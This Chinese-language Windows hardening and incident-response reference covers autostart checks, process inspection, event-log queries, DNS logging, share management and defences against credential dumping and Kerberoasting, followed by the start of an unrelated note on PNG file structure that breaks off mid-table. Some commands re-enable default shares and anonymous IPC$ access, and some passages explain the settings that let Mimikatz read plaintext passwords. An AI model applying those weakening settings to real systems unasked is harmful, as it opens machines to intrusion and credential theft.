# Secure-Win <p align="center"> <img src="../../../assets/img/banner/Secure-Win.jpg" width="90%"> </p> - `windows 加固+维护+应急响应参考` --- ## 大纲 * **[文件](#文件)** * [可疑文件](#可疑文件) * **[系统](#系统)** * [开机启动](#开机启动) * [账号](#账号) * [进程](#进程) * [注册表](#注册表) * [日志](#日志) * [系统日志](#系统日志) * [日志工具](#日志工具) * [第三方程序日志](#第三方程序日志) * **[网络](#网络)** * [端口](#端口) * [RDP](#rdp) * [DNS](#dns) * [windows系统共享](#windows系统共享) * **[防御密码抓取](#防御密码抓取)** * **[防御Responder欺骗](#防御-responder-欺骗)** * **[阻止非 PPL 进程修改 PPL 进程的 token](#阻止非-ppl-进程修改-ppl-进程的-token)** --- ## 文件 ### 可疑文件 - 回收站 - 浏览器下载目录 - 浏览器历史记录 **最近文件** 开始-运行,输入 `%UserProfile%\Recent` - `C:\Documents and Settings\Administrator\Recent` - `C:\Documents and Settings\Default User\Recent` 查看指定时间范围包括上传文件夹的访问请求: ``` findstr /s /m /I “UploadFiles” *.log ``` **临时文件** - `c:\windows\temp\` --- ## 系统 开启组策略编辑器 `gpedit.msc` 控制面板: <kbd>win</kbd> 输入 `control` **信息** 系统信息: cmd 输入 `systeminfo` ### 开机启动 开始-运行,输入 `msconfig` - `(ProfilePath)\Start Menu\Programs\Startup` **注册表项** 在 cmd 下使用 ``` REG query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run REG query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce REG query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run REG query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run REG query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce REG query HKLM\Software\Microsoft\Windows\CurrentVersion\RunonceEx ``` **服务自启动** 开始-运行,输入 `services.msc` **计划任务** - `C:\Windows\System32\Tasks\` - `C:\Windows\SysWOW64\Tasks\` - `C:\Windows\tasks\` 开始-运行,输入 `taskschd.msc` - **cmd 下使用** ``` schtasks ``` ### 账号 开始-运行,输入 `lusrmgr.msc` **cmd 下使用** - `net user` : 显示用户账号信息 - `wmic UserAccount get` : 列出当前系统所有账户 **注册表项** ``` REG query HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users ``` **查看用户目录** 新建账号会在以下目录生成一个用户目录,查看是否有新建用户目录。 - Window 2003 : `C:\Documents and Settings` - Window 2008R2 : `C:\Users\` **查看服务器是否存在隐藏账号、克隆账号** 可以使用 D 盾工具,其集成了对克隆账号检测的功能。 **加固** - Microsoft本地管理员密码解决方案(LAPS) - 参考文章:[Microsoft Local Administrator Password Solution (LAPS)](https://adsecurity.org/?p=1790) ### 进程 开始-运行,输入 `msinfo32` ,依次点击“软件环境→正在运行任务”就可以查看到进程的详细信息,比如进程路径、进程 ID、文件创建日期、启动时间等。 **服务** 开始-运行,输入 `services.msc` **cmd 下查看可疑进程** ``` tasklist /svc | findstr pid netstat -ano wmic process | find "Proccess Id" > proc.csv wmic process get caption,commandline /value wmic process where caption=”svchost.exe” get caption,commandline /value wmic service get name,pathname,processid,startname,status,state /value wmic process get CreationDate,name,processid,commandline,ExecutablePath /value wmic process get name,processid,executablepath| findstr "7766" ``` **powershell 下查看可疑进程** ``` Get-WmiObject -Class Win32_Process Get-WmiObject -Query "select * from win32_service where name='WinRM'" -ComputerName Server01, Server02 | Format-List -Property PSComputerName, Name, ExitCode, Name, ProcessID, StartMode, State, Status ``` **查看可疑的进程及其子进程内容** - 没有签名验证信息的进程 - 没有描述信息的进程 - 进程的属主 - 进程的路径是否合法 - CPU 或内存资源占用长时间过高的进程 **令牌假冒防御** 禁止 Domain Admins 登录对外且未做安全加固的服务器,因为一旦服务器被入侵,域管理员的令牌可能会被攻击者假冒,从控制 DC。 如果想清除假冒令牌,重启服务器即可。 ### 注册表 开始-运行,输入 `regedit` **cmd 下运行** ``` REG query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList REG query HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ HKEY_CLASSES_ROOT\exefile\shell\open\command ``` --- ### 日志 #### 系统日志 系统日志基本知识见 [日志](./笔记/日志.md) **导出日志** - 相关文章 - [Export corrupts Windows Event Log files](https://blog.fox-it.com/2019/06/04/export-corrupts-windows-event-log-files/) - 导出损坏的 Windows 事件日志文件 **恢复 eventlogedit 删除的记录** - 相关文章 - [Detection and recovery of NSA’s covered up tracks](https://blog.fox-it.com/2017/12/08/detection-and-recovery-of-nsas-covered-up-tracks/) - 工具 - [fox-it/danderspritz-evtx](https://github.com/fox-it/danderspritz-evtx) - 解析 evtx 文件并检测 DanderSpritz eventlogedit 模块的使用 **Windows Defender 日志** - Windows Defender 应用程序使用 `MpCmdRun.log` 和 `MpSigStub.log` 两个日志文件,在 `C:\Windows\Temp` 文件夹下。该文件夹为默认的 SYSTEM 账户临时文件夹,但是每一个用户都拥有写权限。Administrators (管理员)和 SYSTEM 账户拥有这个文件夹的所有权限,一般用户甚至没有读的权限。 #### 日志工具 **Sysmon** - [Sysmon](../../Security/工具/Sysmon.md) **logparser** `logparser` 是一款 windows 日志分析工具,访问这里下载 https://www.microsoft.com/en-us/download/details.aspx?id=24659 - 相关文章 - [windows安全日志分析之logparser篇](https://wooyun.js.org/drops/windows%E5%AE%89%E5%85%A8%E6%97%A5%E5%BF%97%E5%88%86%E6%9E%90%E4%B9%8Blogparser%E7%AF%87.html) - 使用 登录成功的所有事件 ``` LogParser.exe -i:EVT -o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4624" ``` 指定登录时间范围的事件 ``` LogParser.exe -i:EVT -o:DATAGRID "SELECT * FROM c:\Security.evtx where TimeGenerated>'2018-06-19 23:32:11' and TimeGenerated<'2018-06-20 23:34:00' and EventID=4624" ``` 提取登录成功的用户名和 IP ``` LogParser.exe -i:EVT -o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\Security.evtx where EventID=4624" ``` 登录失败的所有事件 ``` LogParser.exe -i:EVT -o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4625" ``` 提取登录失败用户名进行聚合统计 ``` LogParser.exe -i:EVT "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,EXTRACT_TOKEN(Message,19,' ') as user,count(EXTRACT_TOKEN(Message,19,' ')) as Times,EXTRACT_TOKEN(Message,39,' ') as Loginip FROM c:\Security.evtx where EventID=4625 GROUP BY Message” ``` 系统历史开关机记录 ``` LogParser.exe -i:EVT -o:DATAGRID "SELECT TimeGenerated,EventID,Message FROM c:\System.evtx where EventID=6005 or EventID=6006" ``` **LogParser Lizard** 对于 GUI 环境的 Log Parser Lizard,其特点是比较易于使用,甚至不需要记忆繁琐的命令,只需要做好设置,写好基本的 SQL 语句,就可以直观的得到结果。 下载地址 : http://www.lizard-labs.com/log_parser_lizard.aspx 依赖包:Microsoft .NET Framework 4 .5,下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=42642 **Event Log Explorer** Event Log Explorer 是一款非常好用的 Windows 日志分析工具。可用于查看,监视和分析跟事件记录,包括安全,系统,应用程序和其他微软 Windows 的记录被记载的事件,其强大的过滤功能可以快速的过滤出有价值的信息。 下载地址 : https://event-log-explorer.en.softonic.com/ **Win-Logs-Parse-tool** Python 开发的解析 windows 日志文件的工具,可采用手动添加文件的方式进行解析,解析后的文件为 XML,HTML 两种格式,HTML 已采用Bootstrap 架进行界面可视化优化,可直接查看重点日志数据,解析后的 HTML 数据文件保存在执行文件下的 logs/ 文件夹下 ( 自动创建 ),XML 数据文件保存在执行文件下的 logs/xml/ 文件夹下, 项目地址 : https://github.com/Clayeee/Win-Logs-Parse-tool **LogonTracer** 通过可视化和分析 Windows 事件日志来调查恶意 Windows 登录的工具 项目地址 : https://github.com/JPCERTCC/LogonTracer #### 第三方程序日志 **web日志** - 内容见 [取证](../../Security/笔记/BlueTeam/取证.md#中间件服务器程序日志) 中间件服务器程序日志部分 **数据库日志** - 内容见 [取证](../../Security/笔记/BlueTeam/取证.md#数据库取证) 数据库取证部分 **应用程序日志** - 内容见 [取证](../../Security/笔记/BlueTeam/取证.md#应用程序取证) 应用程序取证部分 ### 安全设置 #### 安全策略 开始-运行,输入 `secpol.msc` ### 设备 #### 磁盘管理 - win7 右键“计算机”,选中“管理”,选择磁盘管理 - win10 <kbd>win</kbd>+<kbd>x</kbd>,选择 <kbd>磁盘管理</kbd> --- ## 网络 ### 端口 查看目前的网络连接,定位可疑的 ESTABLISHED ``` netstat -ano - CLOSED:无连接活动或正在进行 - LISTEN:监听中等待连接 - SYN_RECV:服务端接收了 SYN - SYN_SENT:请求连接等待确认 - ESTABLISHED:连接建立数据传输 - FIN_WAIT1:请求中止连接,等待对方 FIN - FIN_WAIT2:同意中止,请稍候 - ITMED_WAIT:等待所有分组死掉 - CLOSING:两边同时尝试关闭 - TIME_WAIT:另一边已初始化一个释放 - LAST_ACK:等待原来的发向远程 TCP 的连接中断请求的确认 - CLOSE-WAIT:等待关闭连接 ``` 根据 netstat 定位出的 pid,进行进程定位 ``` tasklist | findstr “PID” ``` --- ### RDP ``` quser 显示有关客户端服务器上用户远程桌面会话主机的信息 qwinsta 显示有关服务器中会话远程桌面会话主机的信息 qprocess 显示有关在远程桌面会话主机服务器上运行的进程的信息 ``` **文章** - [RDP 登录日志取证与清除](https://paper.seebug.org/1043/) **防爆破** - [y11en/BlockRDPBrute](https://github.com/y11en/BlockRDPBrute) - [HIPS]RDP(3389)爆破防护 **连接记录** - [Windows RDP 连接记录](../../Security/RedTeam/OS安全/Windows安全.md#连接记录) **LogParser 分析** 这里 4624 为登录成功的id,对于登录失败的记录分析,替换为 4625 即可 ``` LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8, '|') as LogonType, EXTRACT_TOKEN(Strings, 18, '|') AS SourceIP, EXTRACT_TOKEN(Strings, 19, '|') AS Sport INTO RdpLoginSuccess.csv FROM Security WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV ``` 也可以导出安全日志为 Security.evtx 进行本地分析 ``` LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8, '|') as LogonType, EXTRACT_TOKEN(Strings, 18, '|') AS SourceIP ,EXTRACT_TOKEN(Strings, 19, '|') AS Sport INTO RdpLoginSuccess.csv FROM Security.evtx WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV ``` **wevtutil** 这里 4624 为登录成功的id,对于登录失败的记录分析,替换为 4625 即可 ``` wevtutil qe Security /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (EventID=4624)] and EventData[(Data[@Name='LogonType']='10')]]" ``` 导出安全日志为 Security.evtx 进行本地分析 ``` wevtutil qe ./Security.evtx /q:"*[System[(EventRecordID=1024)]]" /e:root /f:xml ``` --- ### DNS 很多时候需要通过某个恶意域名来判断主机失陷情况。 **文章** - [哪个进程在访问这个恶意域名???](https://mp.weixin.qq.com/s/mcK06AOWVkwOVR67_n4OGw) - [DNS日志记录方法](https://green-m.me/2017/08/21/windows-dns-log/) **工具** - **Sysmon** - [Sysmon查看DNS记录](../../Security/工具/Sysmon.md#DNS记录) - **DNSQuerySniffer** DNSQuerySniffer 是网络嗅探工具,显示 DNS 查询发送你的系统。每个 DNS 查询,显示以下信息:主机名,端口号,编号查询,请求类型(A,AAAA,NS,和 MX,等等),请求响应时间,时间,响应代码,数量的记录,并返回的 DNS 记录的内容。通过 DNSQuerySniffer 我们先确定访问恶意域名的端口号。这个工具的优点是可以将主机访问过的所有域名记录下来。 下载地址 : https://www.nirsoft.net/utils/dns_query_sniffer.html 配合 Process Monitor 可以定位进程 - **[dnsdataview](https://www.nirsoft.net/utils/dns_records_viewer.html)** - 记录 DNS 记录 **DNS cache log** - 相关文章 - [开启DNS Client Service日志](http://blog.nsfocus.net/open-dns-client-service-log/) - 开启命令 ``` net stop dnscache type nul > %systemroot%\system32\dnsrsvlr.log type nul > %systemroot%\system32\dnsrslvr.log type nul > %systemroot%\system32\asyncreg.log cacls %systemroot%\system32\dnsrsvlr.log /E /G "NETWORK SERVICE":W cacls %systemroot%\system32\dnsrslvr.log /E /G "NETWORK SERVICE":W cacls %systemroot%\system32\asyncreg.log /E /G "NETWORK SERVICE":W net start dnscache ``` **ETW consumers** windows 8.1 和 windows server 2012 R2 及以上版本的操作系统,可以下载补丁直接以标准的 windows 日志格式记录 dns log,windows server 2016 可以直接开启。 微软官方文档 : https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11) **DNS Client Cached** - 相关文章 - [Getting DNS Client Cached Entries with CIM/WMI](https://www.darkoperator.com/blog/2020/1/14/getting-dns-client-cached-entries-with-cimwmi) - 工具 - https://github.com/PSGumshoe/PSGumshoe/blob/master/CIM/Get-CimDNSCache.ps1 ```powershell .\Get-CimDNSCache.ps1 # include file Get-CimDNSCache -Name *microsoft* -Type A ``` --- ### windows系统共享 参考文章: [关键证据检索提取-系统共享检查](https://mp.weixin.qq.com/s/5nVnXMTPIpAu59bycwu5Iw) **net share 查询** 查看系统中所有共享 ``` net share ``` 关闭默认共享 ``` net share IPC$ /del ``` **wmic share查询** ``` wmic share get name,path,status ``` **powershell get-wmiobject查询** ``` get-wmiobject -class Win32_share ``` **开启系统默认共享** ``` # 默认共享开启自动开启,在系统重启的时候自动打开 reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0x01 reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0x01 # IPC$共享开启,设置命名管道设置为0,不限制 reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa" /v restrictanonymous /t REG_DWORD /d 0x00 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v restrictanonymous /t REG_DWORD /d 0x00 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v restrictanonymous /t REG_DWORD /d 0x00 ``` **关闭系统共享** ``` # 默认共享(c$、admin$)关闭(2003取消ipc$方式也是这个) reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0x00 reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0x00 ``` **限制 ipc$ 共享** - 通过限制命名空间限制 ipc$ 共享 IPC$ 限制使用关闭有些服务,必须要求启动 IPC$ 共享命名管道,特别是一些微软出品的应用软件。如微软的 SQL Server 数据库,必须要启用 IPC$ 共享命名管道。否则的话,数据库就无法正常运行。IPC$ 共享命名管道,也是 SQL Server 数据库与微软服务器操作系统无缝集成的一个通道。“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa”。在这一项内容中,有一个叫做 restrictanonymous 的键值。如果设置为 "1",一个匿名用户仍然可以连接到 IPC$ 共享,但无法通过这种连接得到列举 SAM 帐号和共享信息的权限;在 Windows 2000 中增加了 "2",未取得匿名权的用户将不能进行 ipc$ 空连接。建议设置为 1。如果上面所说的主键不存在,就新建一个再改键值。 ``` reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa" /v restrictanonymous /t REG_DWORD /d 0x01 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v restrictanonymous /t REG_DWORD /d 0x01 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v restrictanonymous /t REG_DWORD /d 0x01 以上注册表关闭IPC$的方式并不能清除共享,只能限制匿名用户枚举sam用户 ``` - 通过临时关闭服务或删除服务对本次启动的服务进行限制 限制 ipc$ 共享 / 停止 ipc$ 共享基于的服务 server,但是重启仍然会自动开启,根据资料将 HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters 其中的 AutoShareWks 和 AutoShareServer 的值都改成 0,只能在重启后禁止自动打开默认共享,对于 IPC$ 共享并不会起作用。 ``` net share ipc$ /delete net stop server ``` --- ### 防火墙 **查询所有防火墙配置** ``` netsh advfirewall show allprofiles # 查询所有防火墙配置 ``` **查询所有连接安全规则** ``` netsh> advfirewall consec show rule name=all ``` **查询所有出入站规则** ``` netsh advfirewall firewall show rule name=all ``` --- ## 防御密码抓取 **WDigest 禁用缓存** WDigest.dll 是在 Windows XP 操作系统中引入的,当时这个协议设计出来是把明文密码存在 lsass 里为了 http 认证的。WDigest 的问题是它将密码存储在内存中,并且无论是否使用它,都会将其存储在内存中。 默认在 win2008 之前是默认启用的。但是在 win2008 之后的系统上,默认是关闭的。如果在 win2008 之前的系统上打了 KB2871997 补丁,那么就可以去启用或者禁用 WDigest。 补丁下载地址 - Windows 7 x86 : https://download.microsoft.com/download/9/8/7/9870AA0C-BA2F-4FD0-8F1C-F469CCA2C3FD/Windows6.1-KB2871997-v2-x86.msu - Windows 7 x64 : https://download.microsoft.com/download/C/7/7/C77BDB45-54E4-485E-82EB-2F424113AA12/Windows6.1-KB2871997-v2-x64.msu - Windows Server 2008 R2 x64 Edition : https://download.microsoft.com/download/E/E/6/EE61BDFF-E2EA-41A9-AC03-CEBC88972337/Windows6.1-KB2871997-v2-x64.msu 启用或者禁用WDigest修改注册表位置: ``` HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest ``` UseLogonCredential 值设置为 0, WDigest不把凭证缓存在内存,mimiktaz抓不到明文;UseLogonCredential 值设置为 1, WDigest把凭证缓存在内存,mimiktaz可以获取到明文。 在注册表中将UseLogonCredential 值设置为 0,或者使用命令 ``` reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential ``` **Debug 权限** Mimikatz 在获取密码时需要有本地管理员权限,因为它需要与 lsass 进程所交互,需要有调试权限来调试进程,默认情况下本地管理员拥有调试权限,但是这个权限一般情况是很少用得到的,所以可以通过关闭 debug 权限的方法来防范 Mimikatz。 删除上图的 administrators 组,这样管理员也没了 debug 权限。 **LSA Protection** 自 Windows 8.1 开始为 LSA 提供了额外的保护(LSA Protection),以防止读取内存和不受保护的进程注入代码。保护模式要求所有加载到 LSA 的插件都必须使用 Microsoft 签名进行数字签名。 在 LSA Protection 保护模式下,mimikatz 运行 sekurlsa::logonpasswords 抓取密码会报错。 可以通过注册表开启 LSA Protection,注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 新建 - DWORD(32)值,名称为 RunAsPPL, 数值为 00000001,然后重启系统生效。 或者使用命令来完成 ``` REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f ``` 此操作无法防御直接从 SAM 读取的方法 **受限制的管理模式** 对于 Windows 2012 R2 和 Windows 8.1 之前的旧操作系统,需要先安装补丁 KB2871997。 先在 `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa` 设置 `RunAsPPL` 为 `1` 然后在 `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa` 设置 `DisableRestrictedAdmin` 为 `0` , `DisableRestrictedAdminOutboundCreds` 为 `1` 。 然后需要在域中强制执行 “对远程服务器的凭据限制委派” 策略, 以确保所有出站 RDP 会话都使用 “RestrictedAdmin” 模式, 因此才不会泄露凭据。 具体位置是组策略:计算机配置 -- 管理模板 -- 系统 -- 凭据分配 -- 限制向远程服务器分配凭据,选择已启用. **禁用凭证缓存** Domain Cached Credentials 简称 DDC,也叫 mscache。有两个版本,XP/2003 年代的叫第一代,Vasta/2008 之后的是第二代。如果域控制器不可用,那么windows将检查缓存的最后一个密码hash值,这样为以后系统对用户进行身份验证。缓存位置如下: ``` HKEY_LOCAL_MACHINE\SECURITY\Cache ``` 在组策略中设置禁用缓存 计算机配置--windows设置--安全设置--本地策略--安全选项 交互式登录:之前登录到缓存的次数(域控制器不可用时) 默认是10,设置为0 **受保护的用户组** WindowsServer 2012及更高版本使用了引入了一个名为“Protected Users”的新安全组,其他系统需要安装 KB2871997 补丁才会有。 此组使域管理员能够保护本地管理员等有权限的用户,因为属于该组的任何帐户只能通过Kerberos对域进行身份验证。 这将有助于防止NTLS密码哈希值或LSAS中的纯文本凭据泄露给敏感帐户,这些帐户通常是攻击者的目标。 可以在“Active Directory用户和计算机”中找到“Protected Users”安全组。 可以通过执行以下PowerShell命令将帐户添加到“受保护的用户”组中: ``` Add-ADGroupMember -Identity 'Protected Users' -Members administrator ``` **Credential Guard** 在 Windows 10 和 Windows Server 2016 中,Microsoft 启用 Credential Guard(凭据防护),使用基于虚拟化技术来保护和隔离 lsass 进程,以保护凭证。启用 Credential Guard 后,lsass 包含 2 个进程:正常 LSA 进程和隔离 LSA 进程(在 VSM 中运行)。 可以使用组策略启用 Windows Defender 凭据保护:在组策略管理控制台中,在” 计算机配置” -> “管理模板” -> “系统” -> “Device Guard”,打开” 打开基于虚拟化的安全”,选择” 已启用”; 在” 选择平台安全级别” 框中,选择” 安全启动” 或” 安全启动和 DMA 保护”; 在” 凭据保护配置” 框中,选择” 使用 UEFI 锁启用”。如果希望能够远程关闭 Windows Defender Credential Guard,选择” 无锁启用”。 运行 gpupdate /force 强制执行组策略 验证Windows Defender Credential Guard是否运行: 输入 msinfo32.exe,在 ”系统摘要”-> ”已配置基于虚拟化的安全服务”处,可看到显示”Credential Guard” --- ## 防御 Responder 欺骗 **禁用 NetBIOS 服务** **禁用 LLMNR** **Conveigh** - https://github.com/Kevin-Robertson/Conveigh **VindicateTool** - https://github.com/Rushyo/VindicateTool ## 防御 NTLM 中继 - https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429 --- ## 阻止非 PPL 进程修改 PPL 进程的 token - https://github.com/elastic/PPLGuard --- ## kerberoast 缓解措施 > 本段来自文章: https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting 站在防御的角度,不可能阻止 kerberoast,但可以对有攻击价值的 SPN(注册在域用户帐户下,权限高),增加密码长度,能够提高破解难度,并且定期修改关联的域用户口令 管理员可在域内一台主机上使用 Invoke-Kerberoast 检查是否存在危险的 SPN - https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 ``` Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon ``` ### Kerberos FAST **相关文章** - [Kerberos FAST Armoring](https://syfuhs.net/kerberos-fast-armoring) - [I WANNA GO FAST, REALLY FAST, LIKE (KERBEROS) FAST](https://www.trustedsec.com/blog/i-wanna-go-fast-really-fast-like-kerberos-fast/)
sec-knowleage
# PNG <p align="center"> <img src="../../../../assets/img/banner/png.jpg" width="70%"></a> </p> > 注 : 笔记中拓扑图 xmind 源文件在其图片目录下 --- ## 什么是PNG PNG 是 20 世纪 90 年代中期开始开发的图像文件存储格式,其目的是替代 GIF 和 TIFF 文件格式,同时增加一些 GIF 文件格式所不具备的特性。流式网络图形格式 (Portable Network Graphic Format,PNG) 名称来源于非官方的 “PNG's Not GIF”,是一种位图文件(bitmap file) 存储格式,读成“ping”。PNG 用来存储灰度图像时,灰度图像的深度可多到 16 位,存储彩色图像时,彩色图像的深度可多到 48 位,并且还可存储多到 16 位的 α 通道数据。PNG 使用从 LZ77 派生的无损数据压缩算法。 --- ## 文件结构 PNG 图像格式文件由文件署名和数据块(chunk)组成。 <p align="center"> <img src="../../../../assets/img/Security/Reverse/FILE/PNG/PNG图像格式.png" width="80%"></a> </p> ### 文件署名域 8 字节的 PNG 文件署名域用来识别该文件是不是 PNG 文件。该域的值是: | 十进制数 | 十六进制数 | | - | - | | 137 | 89 | | 80 | 50 | | 78 | 4e | | 71 | 47 | | 13 | 0d | | 10 | 0a | | 26 | 1a | | 10 | 0a | 其中第一个字节 0x89 超出了 ASCII 字符的范围,这是为了避免某些软件将 PNG 文件当做文本文件来处理。文件中剩余的部分由3个以上的 PNG 的数据块(Chunk)按照特定的顺序组成,因此,一个标准的 PNG 文件结构应该如下: ``` PNG 文件标志|PNG 数据块|……|PNG 数据块 ``` ### 数据块 这里有两种类型的数据块,一种是称为关键数据块(critical chunk),就是必须要有的块;另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。 每个数据块都由下表所示的的4个域组成。 | 名称 | 字节数 | 说明 | | - | - | - | | Length(长度) | 4字节 | 指定数据块中数据域的长度,其长度不超过$(2^{31}-1)$字节 | | Chunk Type Code(数据块类型码) | 4字节 | 数据块类型码由 ASCII 字母(A-Z和a-z)组成 | | Chunk Data(数据块实际内容) | 可变长度 | 存储按照 Chunk Type Code 指定的数据 | | CRC(循环冗余检测) | 4字节 | 存储用来检测是否有错误的循环冗余码 | 其中 CRC(cyclic redundancy check)域中的值是对 Chunk Type Code 域和 Chunk Data 域中的数据进行计算得到的,可以看做一种校验码。 #### 关键数据块 关键数据块中的4个标准数据块是: **IHDR 文件头数据块(header chunk)** 它包含有 PNG 文件中存储的图像数据的基本信息,并要作为第一个数据块出现在 PNG 数据流中,而且一个 PNG 数据流中只能有一个文件头数据块。 文件头数据块由 13 字节,组成结构如下: | 域的名称 | 字节数 | 说明 | | - | - | - | | Width | 4 bytes | 图像宽度,以像素为单位 | | Height | 4 bytes | 图像高度,以像素为单位 | | Bit depth | 1 byte | 图像深度:索引彩色图像:1,2,4 或 8 ; 灰度图像:1,2,4,8 或 16 ; 真彩色图像:8 或 16 | | ColorType | 1 byte | 颜色类型:0:灰度图像, 1,2,4,8 或 16;2:真彩色图像,8 或 16;3:索引彩色图像,1,2,4 或 84:带α通道数据的灰度图像,8 或 16;6:带α通道数据的真彩色图像,8 或 16 | | Compression method | 1 byte | 压缩方法 (LZ77 派生算法) | | Filter method | 1 byte | 滤波器方法 | | Interlace method | 1 byte | 隔行扫描方法:0:非隔行扫描; 1: Adam7(由 Adam M. Costello 开发的 7 遍隔行扫描方法) | **PLTE 调色板数据块(palette chunk)** 它包含有与索引彩色图像((indexed-color image))相关的彩色变换数据,它仅与索引彩色图像有关,而且要放在图像数据块(image data chunk)之前。真彩色的 PNG 数据流也可以有调色板数据块,目的是便于非真彩色显示程序用它来量化图像数据,从而显示该图像。结构如下: | 颜色 | 字节 | 意义 | | - | - | - | | Red | 1 byte | 0 = 黑色, 255 = 红 | | Green | 1 byte | 0 = 黑色, 255 = 绿色 | | Blue | 1 byte | 0 = 黑色, 255 = 蓝色 | PLTE 数据块是定义图像的调色板信息,PLTE 可以包含 1~256 个调色板信息,每一个调色板信息由 3 个字节组成,因此调色板数据块所包含的最大字节数为 768,调色板的长度应该是 3 的倍数,否则,这将是一个非法的调色板。 对于索引图像,调色板信息是必须的,调色板的颜色索引从 0 开始编号,然后是 1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为 4 的时候,调色板中的颜色数不可以超过 2^4=16),否则,这将导致 PNG 图像不合法。 真彩色图像和带 α 通道数据的真彩色图像也可以有调色板数据块,目的是便于非真彩色显示程序用它来量化图像数据,从而显示该图像。 **IDAT 图像数据块(image data chunk)** 它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。 IDAT 存放着图像真正的数据信息,因此,如果能够了解 IDAT 的结构,我们就可以很方便的生成 PNG 图像。 **IEND 图像结束数据(image trailer chunk)** 它用来标记 PNG 文件或者数据流已经结束,并且必须要放在文件的尾部。 如果我们仔细观察 PNG 文件,我们会发现,文件的结尾 12 个字符看起来总应该是这样的: ``` 00 00 00 00 49 45 4E 44 AE 42 60 82 ``` 不难明白,由于数据块结构的定义,IEND 数据块的长度总是 0(00 00 00 00,除非人为加入信息),数据标识总是 IEND(49 45 4E 44),因此,CRC 码也总是 AE 42 60 82。 最后,除了表示数据块开始的 IHDR 必须放在最前面, 表示 PNG 文件结束的 IEND 数据块放在最后面之外,其他数据块的存放顺序没有限制。 #### 辅助数据块 PNG 文件格式规范制定的 10 个辅助数据块是: 1. bKGD 背景颜色数据块 (background color)。 2. cHRM 基色和白色度数据块 (primary chromaticities and white point)。所谓白色度是指当 R=G=B= 最大值时在显示器上产生的白色度。 3. gAMA 图像 γ 数据块 (image gamma)。 4. hIST 图像直方图数据块 (image histogram)。 5. pHYs 物理像素尺寸数据块 (physical pixel dimensions)。 6. sBIT 样本有效位数据块 (significant bits)。 7. tEXt 文本信息数据块 (textual data)。 8. tIME 图像最后修改时间数据块 (image last-modification time)。 9. tRNS 图像透明数据块 (transparency)。 10. zTXt 压缩文本数据块 (compressed textual data)。 #### 数据块摘要 关键数据块、辅助数据块和专用公共数据块(special-purpose public chunks)综合下表中: | 数据块符号 | 数据块名称 | 多数据块 | 可选否 | 位置限制 | | - | - | - | - | - | | IHDR | 文件头数据块 | 否 | 否 | 第一块 | | cHRM | 基色和白色点数据块 | 否 | 是 | 在 PLTE 和 IDAT 之前 | | gAMA | 图像 γ 数据块 | 否 | 是 | 在 PLTE 和 IDAT 之前 | | sBIT | 样本有效位数据块 | 否 | 是 | 在 